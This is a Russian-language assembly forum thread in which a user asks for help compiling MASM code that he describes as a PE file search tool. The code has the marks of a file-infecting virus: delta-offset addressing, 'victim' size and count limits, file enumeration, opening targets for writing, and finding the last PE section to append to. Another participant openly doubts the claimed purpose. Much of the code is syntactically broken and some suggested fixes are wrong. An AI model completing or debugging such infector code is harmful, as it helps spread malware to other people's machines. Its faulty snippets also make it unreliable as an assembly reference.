PE-программа

[djonatan98]

Я практически добил свой вопрос, по разработке программы по поиску файлов по сигнатуре PE, в коде были логически ошибки исправил, привожу :

 OpenFile:
    ; Проверяем атрибуты
    mov  eax, OFFSET WFD_dwFileAttributes
    add  eax, delta_off
	mov  eax, [eax]
    .IF  !(eax  & FILE_ATTRIBUTE_HIDDEN || eax  & FILE_ATTRIBUTE_SYSTEM )
    ; Атрибуты не подходят. Пропускаем файл          
        jmp _FindNextFileA
    .ENDIF

 ; Проверяем размер файла
    mov  eax, OFFSET WFD_nFileSizeLow ; адрес WIN32_FIND_DATA.nFileSizeLow
    mov  eax, delta_off
    mov  eax, [eax] ; значение WIN32_FIND_DATA.nFileSizeLow
    .IF !(0 < =  eax || eax < =   MaxVictimSize)
        jmp _FindNextFileA
	.ENDIF

; Открываем файл
    push 0
    push FILE_ATTRIBUTE_NORMAL
    push OPEN_EXISTING
    push 0
    push FILE_SHARE_READ OR FILE_SHARE_WRITE
    push GENERIC_READ OR GENERIC_WRITE
    mov  eax, OFFSET WFD_szFileName
    add  eax, delta_off
	push eax
    call CreateFileA
    inc  eax
    jz   _FindNextFileA    ; Не удалось открыть. Продолжаем поиск
    dec  eax	
    push eax

ошибка в цикле при проверке атрибутов файла,исправил,предыдущий цикл никогда не выполнился,ни пропустив файл ни с одним атрибутом а ткже исравил цикл проверки размера файла.

следующая ошибка. привожу код

 lea   esi, [edi+esi+18h]          ; VA первой секции
    mov   ebx, [esi + 14h]            ; Наибольшее значение PhysicalOffset
    push  esi
    mov   edx, [esi + 0Ch]            ; Наибольшее значение VirtualRVA
    push  edi                         ; Сохраним VA элемента с наибольшим 
                                      ; PhysicalOffset

_SearchHighPhysOffs:                  ; Ищем
    cmp  ebx, [esi + 14h]             ; Если оно меньше, чем в наибольшем, 
    ja   _OtherElement
    mov  ebx, [esi + 14h]             ; Иначе, примем за наибольшее
    mov  [esp], esi
  
 _SearchHighVirtRVA:                   ; Аналогично, но с VirtualRVA
    cmp  edx, [esi + 0Ch]
    ja   _OtherElement
    mov  edx, [esi + 0Ch]
    mov  [esp], edi

_OtherElement:
    add  esi, 28h                     ; ... переходим на дескриптор
                                      ; следующей секции
    loop _SearchHighPhysOffs          ; перебираем дескрипторы всех секций
    pop esi
    pop edi
;esi - VA элемента с наибольшим PhysicalOffset
;edi - VA элемента с наибольшим VirtualRVA
;ebx - Физическое смещение секции с наибольшим PhysicalOffset
;edx - Виртуальное смещение секции с наибольшим VirtualRVA

При компиляции выдается две ошибки в цикле:

mov  eax, OFFSET WFD_nFileSizeLow ; адрес WIN32_FIND_DATA.nFileSizeLow
    mov  eax, delta_off
    mov  eax, [eax] ; значение WIN32_FIND_DATA.nFileSizeLow
    .IF !(0 < =  eax || eax < =   MaxVictimSize)
        jmp _FindNextFileA
	.ENDIF

Привожу скрин - http://s017.radikal.ru/i435/1209/dc/76735b746b2e.jpg

[djonatan98]

Дописал секцию инциализируемых и не инциализируемых данных:

.386
.model flat 
option casemap:none


pushz macro szText:VARARG
    local nexti
    call  nexti
    db    szText, 0
nexti:
endm
 

includelib \masm32\lib\kernel32.lib

data ; сегмент инициализированных данных
 
       MaxVictimNumber db "500", 0      
       CheckVictimSize db "1", 0
       MaxVictimSize db "35*1024", 0 
.data? ; сегмент неинициализированных данных, т.е. переменные без начального значения
 
       hFile dd ?
       hFind dd ?  
	   dwFileSize dd ?
       pAllocMem  dd ?
       dwAlignedFileSize dd ?
       Call_API dd ?
       _GetWindowsDirectoryA dd ?
       _GetSystemDirectoryA dd ?
       WindowsDir dd ?

Выдает 9 ошибок привожу скрин

http://s017.radikal.ru/i403/1209/1c/e8c156b7465e.jpg

как добить-?

[djonatan98]

Вот какие ошибки выдает компилятор

error A2154 : synatax error in control - flow directive
error А2006 : undefined symbol : _Call_API

первая ошибка ссылется на: .IF ! (byte ptr [esi] || < MaxVictimNumber)
вторая ошибка на: je _Call_API

здесь нужно другое решение


Код:
.IF ! (byte ptr [esi] || < MaxVictimNumber)je _Call_API должна быть объявлена отдельно, но как-?
В коде встречается 1 раз, возможно не стндартная команда или нужна дополнительная библиотека.

[r00t_5tr1k3r]

Hi,
Попробуйте,

include \masm32\include\kernel32.inc

bye

[djonatan98]

Пробовал

include /masm32/include/kernel32.inc

и

include /masm32/include/windows.inc

Видимо у _Сall_API имеется прототип функции, про эту API ничего не нашел, но должны быть где то, документирована. Также условие

.IF ! (byte ptr [esi] || < MaxVictimNumber) содержит ошибку, нужно другое решение.

[p51x]

.IF ! (byte ptr [esi] || < MaxVictimNumber) содержит ошибку, нужно другое решение.

А вы прочитайте, что написано. переменная "ИЛИ" "МЕНЬШЕ" переменная. Во что это должно скомпилироваться то?

Call_API dd ?

Откуда подчеркивание в начале взялось?

по разработке программы по поиску файлов по сигнатуре PE

Сделаем вид, что поверили...

[djonatan98]

Все упирается в _Call_API, мне тут один сказал метка нужна, тогда я исправил фрагмент кода:

cmp  word ptr [edi+4], 0FFFFh   ; Конец списка?
     cmp  word ptr [edi+4], 0FFFFh   
     je   _Call_API
    add  edi, 4

на _Сall_API:
    cmp  word ptr [edi+4], 0FFFFh   
    je   _Call_API
    add  edi, 4

Но это не сработало

Привожу скрин с ошибкой - http://s019.radikal.ru/i632/1209/24/91affa4786b5.jpg

Смотрел в интернете, там во всяком случае был описан такой метод. Метка объявляется иначе. как ее правильно объявить-?

[djonatan98]

Почитал в интерете предлогается такой способ:

metka: equ [_сall_API]

Далее в цикле:

cmp  word ptr [edi+4], 0FFFFh   ; Конец списка?
    je   сall [metka]  
    add  edi, 4

[djonatan98]

Я применил и такую конструкцию

.IF! (word ptr [edi+4] == 0FFFFh)   ; Конец списка?
    jmp  Call_API
	add  edi, 4   
   .ENDIF

[djonatan98]

[CODE]

как прописать hFile,hFind в системном хидере, я так понимаю это в структуре IMAGE_OPTIONAL_HEADER32 STRUCT

-?